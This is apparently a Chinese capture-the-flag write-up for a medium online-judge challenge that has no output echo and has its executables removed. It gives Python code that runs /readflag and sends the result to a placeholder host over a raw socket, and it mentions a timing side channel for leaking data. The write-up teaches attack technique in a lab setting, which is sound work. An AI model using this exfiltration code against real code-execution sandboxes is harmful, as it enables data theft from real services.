(2/3) Online Judge
【中等】Desirable
本题去除了回显,并且删除了所有可执行文件。有的 OJ 就是这么设计的(或,禁止了 system() 调用),当然我不好指名道姓。这种防护有多弱,大家在解出本题的过程中应该能体会到。
并且本题还对 /flag 设置了 600 权限,避免你通过 open() 直接打开,需要 RCE 。当然善良的出题人还贴心地在根目录下放了 readflag 生怕大家看不见,就算不知道 SUID 相关知识,看到这玩意儿试着运行一下 Flag 也能出来。
至于该如何获取回显呢?如果大家有仔细研究过 Hard 难度的环境的话,应该能发现,直接出网发送就行了。当然还有一种侧信道泄露的做法,类似于时间盲注,二分一下 sleep() 的条件判断回显。
所以说,本题依旧没有特别难。再加上,善良的出题人令环境容器能出公网(之前也提到过很多次),就更简单了。首先列一下目录,或者观察一下环境变量,发现根目录下有 /readflag 直接执行完事。
def s(d, i, p):
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((i, p))
s.sendall(d)
# 列目录
#import os
#s(repr(os.listdir('/')).encode(), 'IP', PORT)
# 获取 flag
import subprocess
s(subprocess.check_output(['/readflag']), 'IP', PORT)
注意到有选手使用 os.system() 或者 os.popen() 执行命令,在这里会爆出 Runtime Error,为什么呢?大家如果细看它们的源代码的话,会发现最终调用到 subprocess.Popen() 的时候都会带个 shell=True 的参数,顾名思义,就是使用系统的 shell 执行你提供的字符串,即 /bin/sh -c 'YOUR_COMMAND' 。所以在本题删除几乎所有可执行文件的前提下,是没有办法成功的。
至于那个非预期,我将在下一部分好好地讲一讲。